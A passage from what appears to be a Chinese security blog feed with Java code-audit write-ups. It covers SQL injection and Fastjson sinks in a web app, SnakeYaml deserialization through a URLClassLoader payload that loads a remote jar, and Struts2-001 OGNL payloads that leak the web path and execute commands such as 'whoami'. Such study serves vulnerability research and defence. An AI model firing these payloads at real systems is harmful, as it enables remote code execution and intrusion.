等,检索 requestUrl 遍历检测,防止出现路径穿越</p><p>3、在对资源访问,统一进行身份校验,通过对 JESSIONID 鉴权</p><h2 id="sql注入"><a class="markdownIt-Anchor" href="#sql注入">#</a> SQL 注入</h2><p>全局搜索 <code>${</code></p><p>来到 <code>UserMapperEx.xml</code></p><p>这里有两处参数拼接</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609145801799.png" alt="image-20240609145801799"></p><p>找 Mapper 层的接口,并检索 <code>countsByUser</code> 方法</p><p>到 <code>UserMapperEx</code> 的接口</p><p><img src="http://rtd6qa0cy.bkt.gdipper.com/image-20230517200021735.png" alt="image-20230517200021735"></p><p>对应方法调用</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609145920860.png" alt="image-20240609145920860"></p><p>继续找到对应 service 层</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Long <span class="title function_">countUser</span><span class="params">(String userName, String loginName)</span><span class="keyword">throws</span> Exception {</span><br><span class="line"> Long result=<span class="literal">null</span>;</span><br><span class="line"> <span class="keyword">try</span>{</span><br><span class="line"> result=userMapperEx.countsByUser(userName, loginName);</span><br><span class="line"> }<span class="keyword">catch</span>(Exception e){</span><br><span class="line"> JshException.readFail(logger, e);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> result;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>最终找到对应 <code>Controller</code> 层方法</p><p>对应路由 /user/addUser,也即在创建用户的地方</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609150314070.png" alt="image-20240609150314070"></p><p>这里实际上无法做到参数可控的,故 /add/addUser 路由这里没有 sql 注入。但实际上是有的,只不过不在这个路由点。在上面我们回溯方法的过程中,可以先到 service 层中看看,这里放个截图,后续再说</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609162748827.png" alt="image-20240609162748827"></p><p>拐回头我们再看上图中出现的 selectByConditionUser 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609162336666.png" alt="image-20240609162336666"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609162439096.png" alt=""></p><p>最终到 controller 层中</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609163124375.png" alt="image-20240609163124375"></p><p>关于这里我们简单说明一下,为什么我们上面 count 方法注入的路由点在别处</p><p>下图是我们找到的两个方法对应的 service 层代码</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609163441365.png" alt="image-20240609163441365"></p><p>图中的 counts 就是我们上面后续再说的那个方法,这里的类方法 UserComponent 是继承 ICommonQuery 对象的</p><p>接着看 ICommonQuery 对象</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609163706273.png" alt="image-20240609163706273"></p><p>我们找一下哪里调用了这个方法</p><p>在同目录下的 InterfaceContainer</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InterfaceContainer</span> {</span><br><span class="line"> <span class="keyword">private</span> <span class="keyword">final</span> Map<String, ICommonQuery> configComponentMap = <span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"></span><br><span class="line"> <span class="meta">@Autowired(required = false</span></span><br><span class="line"><span class="meta"> private synchronized void init(ICommonQuery[] configComponents) {</span></span><br><span class="line"><span class="meta"> for (ICommonQuery configComponent : configComponents) {</span></span><br><span class="line"><span class="meta"> ResourceInfo info = AnnotationUtils.getAnnotation(configComponent, ResourceInfo.class);</span></span><br><span class="line"><span class="meta"> if (info != null) {</span></span><br><span class="line"><span class="meta"> configComponentMap.put(info.value(), configComponent);</span></span><br><span class="line"><span class="meta"> }</span></span><br><span class="line"><span class="meta"> }</span></span><br><span class="line"><span class="meta"> }</span></span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta"> public ICommonQuery getCommonQuery(String apiName) {</span></span><br><span class="line"><span class="meta"> return configComponentMap.get(apiName);</span></span><br><span class="line"><span class="meta"> }</span></span><br><span class="line"><span class="meta">}</span></span><br></pre></td></tr></table></figure><p>这里通过 configComponentMap 将 service 组件进行存储,后通过初始化方法对 configComponents 数组对象进行遍历并赋值给 configComponent,接着对 configComponent 对象获取注解并存放在 configComponentMap 中,后面通过 getCommonQuery 来获取不同 service 组件的 apiName 信息,也就是上面到 contorller 层中的路由信息,/{apiName}/list,</p><p>下面用一张丑陋的图简单说明</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609171010785.png" alt="image-20240609171010785"></p><p>接着到 UserCommponent 中</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609171128250.png" alt="image-20240609171128250"></p><p>就可以看到对应方法调用和传参信息</p><p>验证下</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">GET http://127.0.0.1:8085/user/list?search=%7b%22userName%22%3a%22%22%2c%22loginName%22%3a%22*%22%7d&currentPage=1&pageSize=15 HTTP/1.1</span><br><span class="line">Host: 127.0.0.1:8085</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0</span><br><span class="line">Accept: application/json, text/javascript, */*; q=0.01</span><br><span class="line">Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span><br><span class="line">Accept-Encoding: gzip, deflate, br</span><br><span class="line">X-Requested-With: XMLHttpRequest</span><br><span class="line">DNT: 1</span><br><span class="line">Connection: keep-alive</span><br><span class="line">Referer: http://127.0.0.1:8085/pages/manage/user.html</span><br><span class="line">Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1717841204; JSESSIONID=6C77C8328EC8766A3DE77ED595F691BE; LATKE_SESSION_ID=YuxmWGRBQ2G2Ujch; sym-ce=e15617d93e753c58ff361f914c9434a2f84e486ad8f9f8d86e2e1fd0c7b32b8b28e55086370891a751a4003bccba33053b20c8f1e54eee7cd52b5d6c1a3139ec22411dc1ac8466b73ba3c887413106bc8035b5d62a54aec1987fb9a90388e6bc42d9a071032099c0415dc24fe311b144; dreamer-cms-s=995e94e8-32b6-480c-88f7-0de568ca0810; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1717847850</span><br><span class="line">Sec-Fetch-Dest: empty</span><br><span class="line">Sec-Fetch-Mode: cors</span><br><span class="line">Sec-Fetch-Site: same-origin</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240609171646921.png" alt="image-20240609171646921"></p><p>当然还有别的地方存在注入,就不再一一找了</p><h2 id="fastjson反序列化"><a class="markdownIt-Anchor" href="#fastjson反序列化">#</a> Fastjson 反序列化</h2><p>全文搜索 parseObject</p><p>在工具类中有一处</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240615190226013.png" alt="image-20240615190226013"></p><p>在回溯调用 getInfo 的方法中发现刚才 sql 的注入点</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240615190522497.png" alt="image-20240615190522497"></p><p>所以在 /user/addUser 和 /user/list 都存在 fastjson 执行点</p><p>这里对其进行验证</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240615185635020.png" alt="image-20240615185635020"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20240615185611433.png" alt="image-20240615185611433"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>SnakeYaml反序列化</title>
<link href="/2023/01/30/SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/"/>
<url>/2023/01/30/SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/</url>
<content type="html"><![CDATA[<h3 id="demo利用"><a class="markdownIt-Anchor" href="#demo利用">#</a> Demo 利用</h3><p><a href="https://github.com/artsploit/yaml-payload">https://github.com/artsploit/yaml-payload</a></p><p>将源码简单修改下</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051151636.png" alt="image-20230605115147426"></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051151170.png" alt="image-20230605115156615"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> test;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.yaml.snakeyaml.Yaml;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">test</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">String</span> <span class="variable">poc</span> <span class="operator">=</span> <span class="string">"!!javax.script.ScriptEngineManager [\n"</span> +</span><br><span class="line"> <span class="string">" !!java.net.URLClassLoader [[\n"</span> +</span><br><span class="line"> <span class="string">" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n"</span> +</span><br><span class="line"> <span class="string">" ]]\n"</span> +</span><br><span class="line"> <span class="string">"]"</span>;</span><br><span class="line"> <span class="type">Yaml</span> <span class="variable">yaml</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Yaml</span>();</span><br><span class="line"> yaml.load(poc);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>(使用图片中自己 cv 的代码没有执行成功,卡了半天,干脆直接 down 了 github 的 poc 才执行成功的</p><p>原来还有个 SPI 机制</p><h3 id="spi机制"><a class="markdownIt-Anchor" href="#spi机制">#</a> SPI 机制</h3><p>SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在 ClassPath 路径下的 META-INF/services 文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现</p><p>如果需要使用 SPI 机制需要在 Java classpath 下的 <code>META-INF/services/</code> 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的<strong>实现类</strong></p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051152172.png" alt="image-20230605115213134"></p><p>也就是说,我们在 META-INF/services 下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051152405.png" alt="image-20230605115222968"></p><p>SPI 会通过 <code>java.util.ServiceLoder</code> 进行动态加载实现,在调用的时候,SPI 机制通过 <code>Class.forNam</code> 反射加载并且 <code>newInstance()</code> 反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。</p><p>这里先插一句说下!!是什么</p><p>!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。</p><p>跟进到 loadFromReader 下 setComposer,指定反序列化全类名</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051152765.png" alt="image-20230605115237095"></p><p>上一步 name 取到 javax.script.ScriptEngineManager,这里反射创建 javax.script.ScriptEngineManager 对象</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051152528.png" alt="image-20230605115250020"></p><p>这里创建数组列表,调用 node.getType ().getDeclaredConstructors () 遍历完的结果通过 possibleConstructors.add 再添加到<br> Class.forName 进行创建反射对象并且赋值给 note 的 type 里面。而后这里 getDeclaredConstructors () 获取它的无参构造方法。</p><p><img src="https://img-blog.csdnimg.cn/7b9527e27db64ac9b7cc5c779d9da017.png" alt="在这里插入图片描述"></p><p>再到这里返回实例对象</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051153467.png" alt="image-20230605115300840"></p><p>construct 构造器加载进来</p><p>value 就是恶意类</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051153960.png" alt="image-20230605115318765"><br> 再加载一轮</p><p>就拿到了<strong> javax.script.ScriptEngineManager 实例化对象</strong><br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051153509.png" alt="image-20230605115339023"></p><p>反射调用将数组对象赋值给 c,最后再实例化</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051153544.png" alt="image-20230605115354110"></p><p>这里再返回要加载地址<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051154812.png" alt="image-20230605115407350"><br> 最后</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051154770.png" alt="image-20230605115421143"></p><p>下面再来看下 SPI 机制的实现</p><p>断点下在 <code>ScriptEngineManager</code> #75</p><p>ServiceLoader 动态加载类<br><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051154277.png" alt="image-20230605115439050"></p><p>hasNexService 方法</p><p>加载 <code>META-INF/services/javax.script.ScriptEngineFactory</code> 获取实现类</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051154158.png" alt="image-20230605115448854"></p><p>实例化</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051154738.png" alt="image-20230605115458440"></p><p>走到后面就执行成功</p><h3 id="漏洞修复"><a class="markdownIt-Anchor" href="#漏洞修复">#</a> 漏洞修复</h3><p>漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击</p><p>修复方案:加入 <code>new SafeConstructor()</code> 类进行过滤</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">main</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"></span><br><span class="line"> <span class="type">String</span> <span class="variable">context</span> <span class="operator">=</span> <span class="string">"!!javax.script.ScriptEngineManager [\n"</span> +</span><br><span class="line"> <span class="string">" !!java.net.URLClassLoader [[\n"</span> +</span><br><span class="line"> <span class="string">" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n"</span> +</span><br><span class="line"> <span class="string">" ]]\n"</span> +</span><br><span class="line"> <span class="string">"]"</span>;</span><br><span class="line"> <span class="type">Yaml</span> <span class="variable">yaml</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Yaml</span>(<span class="keyword">new</span> <span class="title class_">SafeConstructor</span>());</span><br><span class="line"> yaml.load(context);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051155702.png" alt="image-20230605115508920"></p><p>再次执行会抛出异常</p><p>也可以拒绝不安全的反序列化操作,反序列化数据经过校验或者拒绝反序列化数据可控</p><p>在审计中其实就可以直接定位 <code>yaml.load();</code> ,然后进行回溯,如若参数可控,那么就可以尝试传入 payload。</p><p>一些绕过手法</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">String</span> <span class="variable">PREFIX</span> <span class="operator">=</span> <span class="string">"tag:yaml.org,2002:"</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">YAML</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:yaml"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">MERGE</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:merge"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">SET</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:set"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">PAIRS</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:pairs"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">OMAP</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:omap"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">BINARY</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:binary"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">INT</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:int"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">FLOAT</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:float"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">TIMESTAMP</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:timestamp"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">BOOL</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:bool"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">NULL</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:null"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">STR</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:str"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">SEQ</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:seq"</span>);</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">Tag</span> <span class="variable">MAP</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Tag</span>(<span class="string">"tag:yaml.org,2002:map"</span>);</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
<entry>
<title>Struts2-001</title>
<link href="/2023/01/28/Struts2-001/"/>
<url>/2023/01/28/Struts2-001/</url>
<content type="html"><![CDATA[<h3 id="ognl表达式"><a class="markdownIt-Anchor" href="#ognl表达式">#</a> OGNL 表达式</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">OGNL 是 Object-Graph Navigation Language 的缩写,它是一种功能强大的表达式语言(Expression Language,简称为 EL),通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。它使用相同的表达式去存取对象的属性。 OGNL 三要素:(以下部分摘抄互联网某处, 我觉得说得好)</span><br><span class="line"></span><br><span class="line">1、表达式(Expression)</span><br><span class="line"></span><br><span class="line">表达式是整个 OGNL 的核心,所有的 OGNL 操作都是针对表达式的解析后进行的。表达式会规定此次 OGNL 操作到底要干什么。我们可以看到,在上面的测试中,name、department.name 等都是表达式,表示取 name 或者 department 中的 name 的值。OGNL 支持很多类型的表达式,之后我们会看到更多。</span><br><span class="line"></span><br><span class="line">2、根对象(Root Object)</span><br><span class="line"></span><br><span class="line">根对象可以理解为 OGNL 的操作对象。在表达式规定了 “干什么” 以后,你还需要指定到底“对谁干”。在上面的测试代码中,user 就是根对象。这就意味着,我们需要对 user 这个对象去取 name 这个属性的值(对 user 这个对象去设置其中的 department 中的 name 属性值)。</span><br><span class="line"></span><br><span class="line">3、上下文环境(Context)</span><br><span class="line"></span><br><span class="line">有了表达式和根对象,我们实际上已经可以使用 OGNL 的基本功能。例如,根据表达式对根对象进行取值或者设值工作。不过实际上,在 OGNL 的内部,所有的操作都会在一个特定的环境中运行,这个环境就是 OGNL 的上下文环境(Context)。说得再明白一些,就是这个上下文环境(Context),将规定 OGNL 的操作 “在哪里干”。</span><br><span class="line">OGN L 的上下文环境是一个 Map 结构,称之为 OgnlContext。上面我们提到的根对象(Root</span><br><span class="line">Object),事实上也会被加入到上下文环境中去,并且这将作为一个特殊的变量进行处理,具体就表现为针对根对象(Root</span><br><span class="line">Object)的存取操作的表达式是不需要增加 #符号进行区分的。</span><br></pre></td></tr></table></figure><p>对表达式的简单使用说明</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">1. 基本对象树的访问</span><br><span class="line">对象树的访问就是通过使用点号将对象的引用串联起来进行。</span><br><span class="line">例如:xxxx,xxxx.xxxx,xxxx. xxxx. xxxx. xxxx. xxxx</span><br><span class="line"></span><br><span class="line">2. 对容器变量的访问</span><br><span class="line">对容器变量的访问,通过#符号加上表达式进行。</span><br><span class="line">例如:#xxxx,#xxxx. xxxx,#xxxx.xxxxx. xxxx. xxxx. xxxx</span><br><span class="line"></span><br><span class="line">3. 使用操作符号</span><br><span class="line">OGNL表达式中能使用的操作符基本跟Java里的操作符一样,除了能使用 +, -, *, /, ++, --, ==, !=, = 等操作符之外,还能使用 mod, in, not in等。</span><br><span class="line"></span><br><span class="line">4. 容器、数组、对象</span><br><span class="line">OGNL支持对数组和ArrayList等容器的顺序访问:例如:group.users[0]</span><br><span class="line">同时,OGNL支持对Map的按键值查找:</span><br><span class="line">例如:#session['mySessionPropKey']</span><br><span class="line">不仅如此,OGNL还支持容器的构造的表达式:</span><br><span class="line">例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map</span><br><span class="line">你也可以通过任意类对象的构造函数进行对象新建</span><br><span class="line">例如:new Java.net.URL("xxxxxx/")</span><br><span class="line"></span><br><span class="line">5. 对静态方法或变量的访问</span><br><span class="line">要引用类的静态方法和字段,他们的表达方式是一样的@class@member或者@class@method(args):</span><br><span class="line"></span><br><span class="line">6. 方法调用</span><br><span class="line">直接通过类似Java的方法调用方式进行,你甚至可以传递参数:</span><br><span class="line">例如:user.getName(),group.users.size(),group.containsUser(#requestUser)</span><br><span class="line"></span><br><span class="line">7. 投影和选择</span><br><span class="line">OGNL支持类似数据库中的投影(projection) 和选择(selection)。</span><br><span class="line">投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX 是这个集合中每个元素的公共属性。</span><br><span class="line">例如:group.userList.{username}将获得某个group中的所有user的name的列表。</span><br><span class="line">选择就是过滤满足selection 条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:collection.{X YYY},其中X 是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:</span><br><span class="line">? 选择满足条件的所有元素</span><br><span class="line">^ 选择满足条件的第一个元素</span><br><span class="line">$ 选择满足条件的最后一个元素</span><br><span class="line">例如:group.userList.{? #txxx.xxx != null}将获得某个group中user的name不为空的user的列表。</span><br></pre></td></tr></table></figure><h3 id="漏洞利用"><a class="markdownIt-Anchor" href="#漏洞利用">#</a> 漏洞利用</h3><p>获取 web 路径</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>,#response=#context.get(<span class="string">"com.opensymphony.xwork2.dispatcher.HttpServletResponse"</span>).getWriter(),#response.println(#req.getRealPath(<span class="string">'/'</span>)),#response.flush(),#response.close()</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051149936.png" alt="image-20230605114857778"></p><p>rce</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{#a=(<span class="keyword">new</span> <span class="title class_">java</span>.lang.ProcessBuilder(<span class="keyword">new</span> <span class="title class_">java</span>.lang.String[]{<span class="string">"whoami"</span>})).redirectErrorStream(<span class="literal">true</span>).start(),#b=#a.getInputStream(),#c=<span class="keyword">new</span> <span class="title class_">java</span>.io.InputStreamReader(#b),#d=<span class="keyword">new</span> <span class="title class_">java</span>.io.BufferedReader(#c),#e=<span class="keyword">new</span> <span class="title class_">char</span>[<span class="number">50000</span>],#d.read(#e),#f=#context.get(<span class="string">"com.opensymphony.xwork2.dispatcher.HttpServletResponse"</span>),#f.getWriter().println(<span class="keyword">new</span> <span class="title class_">java</span>.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051149921.png" alt="image-20230605114921788"></p><h3 id="代码审计"><a class="markdownIt-Anchor" href="#代码审计">#</a> 代码审计</h3><p>漏洞点:</p><p>xwork-2.0.3-sources.jar!\com\opensymphony\xwork2\util\TextParseUtil.java</p><p>在 while 下打上断点</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051149965.png" alt="image-20230605114938789"></p><p>这里为了方便我就把执行换成 username</p><p>debug 三轮,index.jsp→login→name→%{name} 就到了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051149702.png" alt="image-20230605114950361"> 首先是遍历 expression:login</p><p>接着就是 username</p><p>开始分析</p><p>走到</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> stack.findValue(<span class="keyword">var</span>, asType);</span><br></pre></td></tr></table></figure><p 1+2="">获得对象 o,值为 %</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/img/202306051150064.png" alt="image-20230605115003612">o 